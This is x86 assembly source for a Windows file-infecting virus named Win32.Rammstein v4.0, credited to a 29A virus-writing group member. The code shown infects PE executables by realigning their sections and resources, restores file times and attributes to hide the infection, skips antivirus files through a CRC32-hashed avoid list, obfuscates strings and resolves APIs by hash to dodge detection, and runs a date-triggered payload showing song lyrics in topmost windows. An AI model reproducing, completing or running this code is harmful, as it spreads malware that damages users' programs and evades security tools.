mov esi, [ebp+lastsectionheader] ;go to last section
mov eax, [esi.SH_VirtualAddress] ;and calculate the
add esi, IMAGE_SIZEOF_SECTION_HEADER ;RVA delta
sub eax, [esi.SH_VirtualAddress] ;
neg eax ;
ret ;
;
RealignResources: ;
call CalculateDelta ;
mov [ebp+DeltaRVA], eax ;
mov esi, dword ptr [esi.SH_PointerToRawData]; Point the resources
add esi, dword ptr [ebp+haddress] ; and align in memo
mov edi, esi ; save in edi
add edi, IMAGE_RESOURCE_DIRECTORY_SIZE ; skip resource dir
call parse_resource_directory ; parse all
ret ;
;
parse_resource_directory: ;
xor ecx, ecx ;
mov cx, word ptr [esi.RD_NumberOfNamedEntries]; NamedEntries+IdEntries
add cx, word ptr [esi.RD_NumberOfIdEntries] ; is our counter
;
add esi, IMAGE_RESOURCE_DIRECTORY_SIZE ; skip resource dir
;
parse_this_one: ;
push ecx ; save counter
push esi ; save address
call parse_resource ; parse the dir
pop esi ; restore address
pop ecx ; restore counter
add esi, 8 ; get next entry
loop parse_this_one ; loop until cx=0
ret ; return
;
parse_resource: ;
mov eax, [esi.RDE_OffsetToData] ; get offset to data
mov esi, edi ; get base of resorurces
test eax, 80000000h ; is it a subdirectory?
jz data_is_resource ;
;
data_is_directory: ;
xor eax, 80000000h ; if it is a subdirectory
add esi, eax ; find it's address and
sub esi, 10h ;
call parse_resource_directory ; go to parse it too...
ret ;
;
data_is_resource: ; if it is data, then
add esi, eax ; find out it's address
sub esi, 10h ;
mov eax, dword ptr [ebp+DeltaRVA] ; and increment the offs
add dword ptr [esi.REDE_OffsetToData], eax ; to data with our Delta
ret ; and ret...
;
RealignRelocs: ;
ret ;
;
infection_succesfull: ;
mov [ebp+flag], 0 ;mark good infection
;
close_address: ;
call [ebp+_UnmapViewOfFile], [ebp+haddress] ;unmap view
;
close_map: ;
call [ebp+_CloseHandle], [ebp+hmap] ;close map object
;
close_file: ;
call [ebp+_SetFilePointer], [ebp+hfile], [ebp+filesize], 0, FILE_BEGIN
call [ebp+_SetEndOfFile], [ebp+hfile] ;set EOF
lea ebx, [ebp+filetime1] ;restore the file time
push ebx ;
add ebx, 8 ;
push ebx ;
add ebx, 8 ;
push ebx ;
push [ebp+hfile] ;
call [ebp+_SetFileTime] ;restore file time
call [ebp+_CloseHandle], [ebp+hfile] ;close file
;
finished: ;
call [ebp+_SetFileAttributesA], [ebp+filename], [ebp+fileattributes]
cmp [ebp+flag], 0 ;restore attributes
je succesfull_infection ;
;
failed_infection: ;
mov [ebp+fileopen], FALSE ;
popa ;
stc ;
ret ;
;
succesfull_infection: ;
mov [ebp+fileopen], FALSE ;
popa ;
clc ;
ret ;
;
choose_smaller: ;
cmp eax, ebx ;
ja get_ebx ;
ret ;
;
get_ebx: ;
xchg eax, ebx ;
ret ;
;
align_to_filealign: ;here are the aligning
mov ecx, [ebp+filealign] ;procedures
jmp align_eax ;
;
align_to_sectionalign: ;
mov ecx, [ebp+sectionalign] ;
;
align_eax: ;
push edx ;
xor edx, edx ;
div ecx ;
or edx, edx ;
jz $+3 ;
inc eax ;
mul ecx ;
pop edx ;
ret ;
;
InfectFile endp ;
;
fileattributes dd 0 ;
filesize dd 0 ;
filetime1 dq 0 ;
filetime2 dq 0 ;
filetime3 dq 0 ;
hfile dd 0 ;
hmap dd 0 ;
haddress dd 0 ;
flag dd 0 ;
additional dd 0 ;
peheader dd 0 ;
lastsectionheader dd 0 ;
last_section_destination dd 0 ;
codesectionraw dd 0 ;
codesectionheader dd 0 ;
finaldestination dd 0 ;
method dd 0 ;
pedata label ;
numberofsections dd 0 ; stored as dword!!
sizeofoptionalheader dd 0 ; stored as dword!!
addressofentrypoint dd 0 ;
_imagebase dd 0 ;
sectionalign dd 0 ;
filealign dd 0 ;
sizeofimage dd 0 ;
sizeofheaders dd 0 ;
checksum dd 0 ;
numberofrva dd 0 ;
baseofcode dd 0 ;
codesection dd 0 ;
codesectionsize dd 0 ;
lastsection dd 0 ;
lastsectionsize dd 0 ;
increasement dd 0 ;
codedelta dd 0 ;
optionalheader dd 0 ;
filename dd 0 ;
copying db 0 ;
lastsectionraw dd 0 ;
lastsectionrva dd 0 ;
codesectionrva dd 0 ;
codesource dd 0 ;
codedestin dd 0 ;
PayloadThreadID dd 0 ;
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;³ ÜÜÜ ÜÜÜ Ü Ü Ü ÜÜÜ ÜÜÜ ÜÜ ;
;³ ÛÜÛ ÛÜÛ ÛÜÛ Û Û Û ÛÜÛ Û Û ;
;³ Û Û Û Û ÛÜÜ ÛÜÛ Û Û ÛÜß ;
;³ ;
;
DoPayload: ;
cmp [ebp+firstgen], 1 ;
jne do_it_now ;
ret ;
do_it_now: ;
pusha ;
lea esi, [ebp+text_start] ;
mov ecx, list_len ;
call not_list ;
;
lea eax, [ebp+text_start] ;
mov [ebp+current], eax ;
call [ebp+_GetDC], 0 ;
mov [ebp+hdc], eax ;
lea ebx, [ebp+offset chars] ;
call [ebp+_GetCharWidthA], eax, "A", "Z", ebx
lea ebx, [ebp+offset textmetric] ;
call [ebp+_GetTextMetricsA], [ebp+hdc], ebx ;
call [ebp+_GetSystemMetrics], SM_CXFULLSCREEN
mov [ebp+xmax], eax ;
call [ebp+_GetSystemMetrics], SM_CYFULLSCREEN
mov [ebp+ymax], eax ;
;
xor eax, eax ;
mov ax, [ebp+textmetric.tmHeight] ;
add ax, [ebp+textmetric.tmAscent] ;
add ax, [ebp+textmetric.tmDescent] ;
shl eax, 1 ;
mov [ebp+ylength], eax ;
;
new_window: ;
mov edi, [ebp+current] ;
call [ebp+_lstrlen], edi ;
add edi, eax ;
inc edi ;
push eax ;
call [ebp+_lstrlen], edi ;
mov edi, [ebp+current] ;
cmp eax, [esp] ;
jb ok_len ;
add edi, [esp] ;
inc edi ;
xchg eax, [esp] ;
;
ok_len: ;
pop ecx ;
;
lea esi, [ebp+chars] ;
xchg edi, esi ;
mov [ebp+xlength], 0 ;
xor eax, eax ;
;
calculate_length: ;
lodsb ;
cmp al, "A" ;
jnb do_Z ;
;
estimate: ;
xor ebx, ebx ;
mov bx, [ebp+textmetric.tmAveCharWidth] ;
inc ebx ;
jmp compute ;
;
do_Z: cmp al, "Z" ;
jna do_chars ;
jmp estimate ;
;
do_chars: ;
sub eax, "A" ;
mov ebx, [edi+eax*4] ;
inc ebx ;
;
compute: ;
add [ebp+xlength], ebx ;
loop calculate_length ;
;
call [ebp+_GetModuleHandleA], 0 ; get our handle
mov [ebp+hInst], eax ; save it
;
mov [ebp+wc.wcxStyle], CS_HREDRAW+CS_VREDRAW+\;window style
CS_GLOBALCLASS+CS_NOCLOSE
lea eax, [ebp+offset WndProc] ;
mov [ebp+wc.wcxWndProc], eax ; window procedure
mov [ebp+wc.wcxClsExtra], 0 ; -
mov [ebp+wc.wcxWndExtra], 0 ; -
mov eax, [ebp+hInst] ;
mov [ebp+wc.wcxInstance], eax ; instance (handle)
;
call [ebp+_LoadIconA], [ebp+hInst], IDI_APPLICATION ; load our icon
mov [ebp+ourhIcon], eax ;
mov [ebp+wc.wcxIcon], eax ;
mov [ebp+wc.wcxSmallIcon], eax ;
;
call [ebp+_LoadCursorA], 0, IDC_ARROW ; load out cursor
mov [ebp+wc.wcxCursor], eax ;
;
mov [ebp+wc.wcxBkgndBrush], COLOR_WINDOW+1 ;
mov dword ptr [ebp+wc.wcxMenuName], NULL ; menu
lea eax, [ebp+szClassName] ;
mov dword ptr [ebp+wc.wcxClassName], eax ; class name
;
lea eax, [ebp+offset wc] ;
call [ebp+_RegisterClassExA], eax ; register the class!
;
mov eax, [ebp+xmax] ;
sub eax, [ebp+xlength] ;
call brandom32 ;
mov [ebp+xpos], eax ;
;
mov eax, [ebp+ymax] ;
sub eax, [ebp+ylength] ;
call brandom32 ;
mov [ebp+ypos], eax ;
;
lea eax, [ebp+offset szClassName] ;
lea ebx, [ebp+offset szTitleName] ;
call [ebp+_CreateWindowExA],ExtendedStyle,\; Create the Window!
eax,\ ;
ebx,\ ;
DefaultStyle,\ ;
[ebp+xpos],\ ;
[ebp+ypos],\ ;
[ebp+xlength],\ ;
[ebp+ylength],\ ;
0,\ ;
0,\ ;
[ebp+hInst],\ ;
0 ;
;
mov [ebp+newhwnd], eax ; save handle
;
call [ebp+_UpdateWindow], dword ptr [ebp+newhwnd]; and update it...
call [ebp+_InvalidateRect], dword ptr [ebp+newhwnd], 0, 0
;
msg_loop: ;
lea eax, [ebp+offset msg] ;
call [ebp+_GetMessageA], eax, 0, 0, 0 ; get a message
;
or ax, ax ; finish?
jz end_loop ;
;
lea eax, [ebp+offset msg] ;
call [ebp+_TranslateMessage], eax ; translate message
;
lea eax, [ebp+offset msg] ;
call [ebp+_DispatchMessageA], eax ; dispatch the message
;
jmp msg_loop ; do again
;
end_loop: ;
mov esi, [ebp+current] ;
@endsz ;
@endsz ;
lea eax, [ebp+offset text_end] ;
cmp esi, eax ;
jae finish_process ;
cmp [ebp+process_end], 1 ;did the victim finish?
je finish_process ;
mov [ebp+current], esi ;
jmp new_window ;
;
finish_process: ;
popa ;
ret ;
process_end dd 0 ;
;
;============================================================================
WndProc proc uses ebx edi esi,\ ; registers preserved
hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD ; parameters
LOCAL theDC:DWORD ;
;
call @@1 ;
@@1: ;
pop esi ;
sub esi, offset @@1 ;
;
cmp [wmsg], WM_PAINT ;
je wmpaint ;
cmp [wmsg], WM_DESTROY ; destory window
je wmdestroy ;
cmp [wmsg], WM_CREATE ; create window
je wmcreate ;
cmp [wmsg], WM_TIMER ;
jmp defwndproc ;
;
defwndproc: ;
call [esi+_DefWindowProcA], [hwnd], [wmsg], [wparam], [lparam] ; define
jmp finish ; the window
;
wmdestroy: ;
call [esi+_ShowWindow], [hwnd], SW_HIDE ;
call [esi+_KillTimer], [hwnd], [esi+htimer];
call [esi+_PostQuitMessage], 0 ; kill the window
xor eax, eax ;
jmp finish ;
;
wmpaint: ;
call [esi+_GetDC], [hwnd] ;
mov [theDC], eax ;
lea eax, [esi+offset lppaint] ;
call [esi+_BeginPaint], dword ptr [hwnd],\ ;
eax ;
push [esi+current] ;
call [esi+_lstrlen] ;
push eax ;
call [esi+_TextOutA], dword ptr [theDC], 1, 1,\
dword ptr [esi+current], eax;
pop eax ;
mov ebx, [esi+current] ;
add ebx, eax ;
inc ebx ;
push ebx ;
push ebx ;
call [esi+_lstrlen] ;
pop ebx ;
xor edx, edx ;
mov dx, [esi+textmetric.tmHeight] ;
call [esi+_TextOutA], dword ptr [theDC], 1, edx, ebx, eax
lea eax, [esi+offset lppaint] ;
call [esi+_EndPaint], dword ptr [hwnd], eax
jmp defwndproc ;
;
wmcreate: ;
lea eax, [esi+offset TimerProc] ;
call [esi+_SetTimer], dword ptr [hwnd], 1111h,\
dword ptr [esi+wintime],\ ;
eax ;
mov [esi+htimer], eax ;
jmp defwndproc ;
;
finish: ;
ret ;
WndProc endp ;
;
TimerProc proc uses ebx edi esi,\ ;
hwnd:DWORD, wmsg:DWORD, timerid:DWORD, dwtime:DWORD
;
call @@2 ;
@@2: ;
pop esi ;
sub esi, offset @@2 ;
;
mov eax, [esi+htimer] ;
cmp [timerid], eax ;
jne exittime ;
call [esi+_PostMessageA], [hwnd], WM_DESTROY, 0, 0
;
exittime: ;
ret ;
TimerProc endp ;
;
text_start: ;
noter <LA? MICH DEINE TRANE REITEN> ;
noter <UBERS KINN NACH AFRIKA> ;
;
noter <WIEDER IN DEN SCHOSS DER LOWIN> ;
noter <WO ICH EINST ZUHAUSE WAR> ;
;
noter <ZWISCHEN DEINE LANGEN BEINEN> ;
noter <SUCH DEN SCHNEE VOM LETZTEN JAHR> ;
;
noter <DOCH ES IST KEIN SCHNEE MEHR DA> ;
noter <..> ;
;
noter <LASS MICH DEINE TRANE REITEN> ;
noter <UBER WOLKEN OHNE GLUCK> ;
;
noter <DER GROSSE VOGEL SCHIEBT DEN KOPF> ;
noter <SANFT IN SEIN VERSTECK ZURUCK> ;
;
noter <ZWISCHEN DEINE LANGEN BEINEN> ;
noter <SUCH DEN SAND VOM LETZTEN JAHR> ;
;
noter <DOCH ES IST KEIN SAND MEHR DA> ;
noter <..> ;
;
noter <SEHNSUCHT VERSTECKT > ;
noter <SICH WIE EIN INSEKT> ;
;
noter <IM SCHLAFE MERKST DU NICHT> ;
noter <DA? ES DICH STICHT> ;
;
noter <GLUCKLICH WERD ICH NIRGENDWO> ;
noter <DER FINGER RUTSCHT NACH MEXIKO> ;
;
noter <DOCH ER VERSINKT IM OZEAN> ;
noter <SEHNSUCHT IST SO GRAUSAM> ;
;
noter <WOLLT IHR DAS BETT IN FLAMMEN SEHEN? > ;
noter <WOLLT IHR IN HAUT UND HAAREN UNTERGEHEN?>
;
noter <IHR WOLLT DOCH AUCH DEN DOLCH INS LAKEN STECKEN >
noter <IHR WOLLT DOCH AUCH DAS BLUT VOM DEGEN LECKEN >
;
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
;
noter <IHR SEHT DIE KREUZE AUF DEM KISSEN > ;
noter <IHR MEINT EUCH DARF DIE UNSCHULD KUSSEN >
;
noter <IHR GLAUBT ZU TOTEN WARE SCHWER > ;
noter <DOCH WO KOMMEN ALL DIE TOTEN HER > ;
;
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
;
noter <SEX IST EIN SCHLACHT > ;
noter <LIEBE IST KRIEG > ;
;
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
text_end: ;
list_len = $-offset text_start ;
;
wc STD_WINDOW <size STD_WINDOW,0,0,0,0,0,0,0,0,0,0,0>
wintime dd 4000 ;
hInst dd 0 ;
hAccel dd 0 ;
htimer dd 0 ;
ourhIcon dd 0 ;
newhwnd dd 0 ;
msg MSGSTRUCT <?> ;
r RECT <?> ;
lppaint PAINTSTRUCT <?> ;
textmetric TEXTMETRIC <?> ;
xmax dd 0 ;
ymax dd 0 ;
xlength dd 0 ;
ylength dd 0 ;
xpos dd 0 ;
ypos dd 0 ;
current dd 0 ;
hdc dd 0 ;
chars dd "Z"-"A"+2 dup (0) ;
szTitleName db 'Win32.Rammstein', 0 ;
szClassName db 'RAMMSTEIN', 0 ;
;
DefaultStyle = WS_OVERLAPPED+WS_VISIBLE ;
ExtendedStyle = WS_EX_TOPMOST ;
;
;==================================================;=========================
;
ValidateFile: ;
; ESI = pointer to filename ;
ret
pusha ;
lea eax, [ebp+VF_ExceptionExit] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
;
call [ebp+_lstrlen], esi ;get the filename length
cmp eax, 256 ;is it too big?
ja invalid_file ;
mov ecx, eax ;
;
push ecx ;uppercase the name
call [ebp+_CharUpperBuffA], esi, ecx ;
pop ecx ;
;
@endsz ;go to it's end
inc ecx ;
std ;
mov edi, esi ;and look backwards for
mov al,'\' ;the '\'
repnz scasb ;
mov esi, edi ;
or ecx, ecx ;
jz no_increase ;
inc esi ;if we found one, point it
inc esi ;
;
no_increase: ;
cld ;restore direction
lea edi, [ebp+offset avoid_list] ;our avoid list
;
search_next: ;
cmp byte ptr [edi], 0FFh ;last entry?
je all_names_ok ;
xor ebx, ebx ;
mov bl, [edi+4] ;get the name length
xor ecx, ecx ;
xchg byte ptr [esi+ebx], cl ;limit our string to the
push esi ;length with a 0
call StringCRC32 ;and compute a crc32 for
pop esi ;the piece...
xchg byte ptr [esi+ebx], cl ;restore filename
cmp eax, [edi] ;does it match?
je av_name_found ;
add edi, 5 ;get next...
jmp search_next ;
;
av_name_found: ;
invalid_file: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
popa ;
stc ;
ret ;
;
all_names_ok: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
popa ;
clc ;
ret ;
;
VF_ExceptionExit: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
call DeltaRecoverVF ;
DeltaRecoverVF: ;
pop ebp ;
sub ebp, offset DeltaRecoverVF ;
jmp invalid_file ;
;
avoid_list: ;
crc32 <AV> ;
db 3 ;
crc32 <_AV> ;the list with filenames
db 3 ;to avoid
crc32 <ALERT> ;
db 5 ;
crc32 <AMON> ;
db 4 ;
crc32 <N32> ;
db 3 ;
crc32 <NOD> ;
db 3 ;
crc32 <NPSSVC> ;
db 6 ;
crc32 <NSCHEDNT> ;
db 8 ;
crc32 <NSPLUGIN> ;
db 8 ;
crc32 <TB> ;
db 2 ;
crc32 <F-> ;
db 2 ;
crc32 <AW> ;
db 2 ;
crc32 <AV> ;
db 2 ;
crc32 <NAV> ;
db 3 ;
crc32 <PAV> ;
db 3 ;
crc32 <RAV> ;
db 3 ;
crc32 <NVC> ;
db 3 ;
crc32 <FPR> ;
db 3 ;
crc32 <DSS> ;
db 3 ;
crc32 <IBM> ;
db 3 ;
crc32 <INOC> ;
db 3 ;
crc32 <ANTI> ;
db 3 ;
crc32 <SCN> ;
db 3 ;
crc32 <SCAN> ;
db 4 ;
crc32 <VSAF> ;
db 3 ;
crc32 <VSWP> ;
db 3 ;
crc32 <PANDA> ;
db 3 ;
crc32 <DRWEB> ;
db 3 ;
crc32 <FSAV> ;
db 3 ;
crc32 <SPIDER> ;
db 3 ;
crc32 <ADINF> ;
db 3 ;
crc32 <EXPLORER> ;
db 8 ;
crc32 <SONIQUE> ;
db 7 ;
crc32 <SQSTART> ;
db 7 ;
crc32 <SMSS> ;
db 4 ;
crc32 <OUTLOOK> ;
db 7 ;
crc32 <PSTORES> ;
db 7 ;
db 0FFh ;
;
;
not_list proc ;
____1: cmp [ebp+copying], 1 ;syncronization
je ____1 ;
mov [ebp+in_list], 1 ;
push esi edi ;this NOTs a list
mov edi, esi ;
not_byte: ;
lodsb ;
not al ;
stosb ;
loop not_byte ;
pop edi esi ;
mov [ebp+in_list], 0 ;
ret ;
not_list endp ;
in_list db 0 ;
;
brandom32 proc ;this bounds eax
push edx ;between 0 and eax-1
push ecx ;on random basis
mov edx, 0 ;
push eax ;
call random32 ;
pop ecx ;
div ecx ;
xchg eax, edx ;
pop ecx ;
pop edx ;
ret ;
brandom32 endp ;
;
random32 proc ;this is a random nr
push edx ;generator. It's a
call [ebp+_GetTickCount] ;modified version of
rcl eax, 2 ;some random gen I found
add eax, 12345678h ;someday and it had
random_seed = dword ptr $-4 ;some flaws I fixed...
adc eax, esp ;
xor eax, ecx ;
xor [ebp+random_seed], eax ;
add eax, [esp-8] ;
rcl eax, 1 ;
pop edx ;
ret ;
random32 endp ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check_not proc ;
pusha ;Be sure not to let
lea esi, [ebp+list_of_lists] ;some of the lists
;un-NOTed in the
get_another: ;victim file
lodsd ;
or eax, eax ;
jz correct ;
add eax, [ebp+finaldestination] ;
cmp byte ptr [eax], NOT "L" ;
je no_problem ;
call wrong ;
;
no_problem: ;
add esi, 4 ;
jmp get_another ;
;
correct: ;
popa ;
ret ;
;
wrong: ;
pusha ;
push eax ;
lodsd ;
pop esi ;
mov ecx, eax ;
call not_list ;
popa ;
ret ;
check_not endp ;
;
list_of_lists label ;
dd offset direct_list - offset start, direct_list_len
dd offset file_extensions - offset start, file_extensions_len
dd offset av_list - offset start, av_list_len
dd 0 ;
;
KillThread: ;
IF VIRUSNOTIFYEXIT ;
push 0 ;
call exittext1 ;
db 'Rammstein viral code end!', 0 ;
exittext1: ;
call exittext2 ;
db 'Rammstein viral code end!', 0 ;
exittext2: ;
push 0 ;
call [ebp+_MessageBoxA] ;
ENDIF ;

IF PAYLOAD ;
lea eax, [ebp+time] ;
call [ebp+_GetSystemTime], eax ;
lea edi, [ebp+time] ;
cmp word ptr [edi.ST_wDay], 14d ;
jne no_payload ;
call DoPayload ;
;
no_payload: ;
ENDIF ;
;
IF MAINTHREADSEH ;
jmp restore_main_seh ;host
;
MainExceptionExit: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
;
restore_main_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;returning to the host...
;
call restore_delta ;
restore_delta: ;
pop ebp ;
sub ebp, offset restore_delta ;
;
just_kill_it: ;
ENDIF
mov eax, [ebp+_ExitThread] ;Exit the main thread
push 0 ;
call eax ;

;
; Safe Copro. Thanx to Prizzy for pointing me that the copro cannot be shared
; in the same process and need to be saved to keep compatibility!

InitCopro: ;
sub esp, 128 ;create space for copro
fwait ;data, wait for last to
fnsave [esp] ;finish and save...
finit ;initialize copro
jmp dword ptr [esp+80h] ;and return
;
RestoreCopro: ;
fwait ;wait to finish
frstor [esp+4] ;restore copro data
xchg eax, dword ptr [esp] ;now find out our return
xchg eax, dword ptr [esp+80h] ;address without altering
xchg eax, dword ptr [esp] ;eax, kill the copro space
add esp, 128 ;on the stack. One Dword
ret ;remains on the stack
;
EPO_Routine: ;
clc ;
ret ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Data area ;
test_semaphore dd 0 ;
W32FD WIN32_FIND_DATA <?> ;
time SYSTEMTIME <0> ;
memory dd 0 ;
free_routine dd AVAILABLE ;
version db 0 ;
newsize dd 0 ;
newraw dd 0 ;
situation dd 0 ;
DeltaRVA dd 0 ;
mainthreadid dd 0 ;
headersum dd 0 ;
checksumfile dd 0 ;
lowest_section_raw dd 0 ;
apihookfinish dd 0 ;
tempcounter dd 0 ;
fileopen dd 0 ;
Semaphore db "Win32.Rammstein", 0 ;
saved_code dd 0, 0 ;
mmx dd 0 ;
skipper db 0 ;
no_imports db 0 ;
totalsizes dd 0 ;
smallest_dir_va dd 0 ;
netapis dd 0 ;
ok dd 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
include get_apis.inc ;included files
include rammdata.inc ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
virussize = end-start ;
copyright db 'Win32.Rammstein.' ;
db virussize/10000 mod 10 + '0' ;
db virussize/01000 mod 10 + '0' ;
db virussize/00100 mod 10 + '0' ;
db virussize/00010 mod 10 + '0' ;
db virussize/00001 mod 10 + '0' ;
db ' v4.0', 10,13 ;
db '(c) Lord Julus - 2000 / [29A]',10,13 ;
MainThread endp ;
end2: ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IF DEBUG ;
debug_end db 'Here is the end of the virus.',0 ;
ENDIF ;
end label ;
end start ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMM.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GET_APIS.ASM]ÄÄÄ
; Locating modules and their exported api addresses routines
;
; Deluxe V2.0 ;-)
;
; (C) Lord Julus / [29A]
;
; This includes the jp/lapse/vecna crc32 macro calculator and the api
; getter is modified to search for the crc32 instead of names. Saves space
; and makes it harder to detect.

;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û Locate Kernel32 base address Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
;
; Entry: EAX = dword on stack at startup
; EDX = pointer to kernel32 name
;
; Return: EAX = base address of kernel32 if success
; EAX = 0, CF set if fail
LocateKernel32 proc near
pushad ; save all registers
call @800 ; ...I don't know why I
@800: pop ebx ; had to do this this way,
add ebx, delta3-@800+1 ; but it wouldn't work
mov dword ptr [ebx], ebp ; otherwise...
;
lea ebx, [ebp+try_method_2_error] ; first set up a seh
push ebx ; frame so that if our
push dword ptr fs:[0] ; first method crashes
mov fs:[0], esp ; we will find ourselves
; in the second method
locateloop: ;
cmp dword ptr [eax+0b4h], eax ; first method looks for
je found_k32_kill_seh ; the k32 by checking for
dec eax ; the equal dword at 0b4
cmp eax, 40000000h ;
jbe try_method_2 ;
jmp locateloop ;
;
found_k32_kill_seh: ; if we found it, then we
pop dword ptr fs:[0] ; must destroy the temp
add esp, 4 ; seh frame
mov [esp.pop_eax], eax ;
jmp found_k32 ;
;
try_method_2_error: ; if the first method gave
mov esp, [esp+8] ; and exception error we
delta3: mov ebp, 12345678h ; restore the stack and
; the delta handle
try_method_2: ;
pop dword ptr fs:[0] ; restore the seh state
add esp, 4 ;
popad ; restore registers and
pushad ; save them again
; and go on w/ method two
lea esi, [ebp+offset getmodulehandle] ;
mov ecx, getmodulehandlelen ;
call not_list ;
;
mov ebx, dword ptr [ebp+imagebase] ; now put imagebase in ebx
mov esi, ebx ;
cmp word ptr [esi], 'ZM' ; check if it is an EXE
jne notfound_k32 ;
mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE
cmp esi, 1000h ; too far away?
jae notfound_k32 ;
add esi, ebx ;
cmp word ptr [esi], 'EP' ; is it a PE?
jne notfound_k32 ;
add esi, IMAGE_FILE_HEADER_SIZE ; skip header
mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
add edi, ebx ; and get import RVA
mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size]
add ecx, edi ; and import size
mov eax, edi ; save RVA
;
locateloop2: ;
mov edi, dword ptr [edi.ID_Name] ; get the name
add edi, ebx ;
xor dword ptr [edi], 'öDC2ETBRS' ;
cmp dword ptr [edi], 'NREK' xor 'öDC2ETBRS' ; and compare to KERN
xor dword ptr [edi], 'öDC2ETBRS' ;
je found_the_kernel_import ; if it is not that one
add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE ; skip to the next desc.
mov edi, eax ;
cmp edi, ecx ; but not beyond the size
jae notfound_k32 ; of the descriptor
jmp locateloop2 ;
;
found_the_kernel_import: ; if we found the kernel
mov edi, eax ; import descriptor
mov esi, dword ptr [edi.ID_FirstThunk] ; take the pointer to
add esi, ebx ; addresses
mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to
add edi, ebx ; names
;
gha_locate_loop: ;
push edi ; save pointer to names
mov edi, dword ptr [edi.TD_AddressOfData] ; go to the actual thunk
add edi, ebx ;
add edi, 2 ; and skip the hint
;
push edi esi ; save these
lea esi, dword ptr [ebp+getmodulehandle] ; and point the name of
mov ecx, getmodulehandlelen ; GetModuleHandleA
rep cmpsb ; see if it is that one
je found_getmodulehandle ; if so...
pop esi edi ; otherwise restore
;
pop edi ; restore arrays indexes
add edi, 4 ; and skip to next
add esi, 4 ;
cmp dword ptr [esi], 0 ; 0? -> end of import
je notfound_k32 ;
jmp gha_locate_loop ;
;
found_getmodulehandle: ;
pop esi ; restore stack
pop edi ;
pop edi ;
;
lea esi, [ebp+offset getmodulehandle] ;
mov ecx, getmodulehandlelen ;
call not_list ;
;
push edx ; push kernel32 name
mov esi, [esi] ; esi = GetModuleHandleA
call esi ; address...
mov [esp.pop_eax], eax ;
or eax, eax ;
jz notfound_k32 ;
;
found_k32: ;
popad ; restore all regs and
clc ; and mark success
ret ;
;
notfound_k32: ;
popad ; restore all regs
xor eax, eax ; and mark the failure...
stc ;
ret ;
LocateKernel32 endp ;
@900 dd 0
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û Locate Apis Û
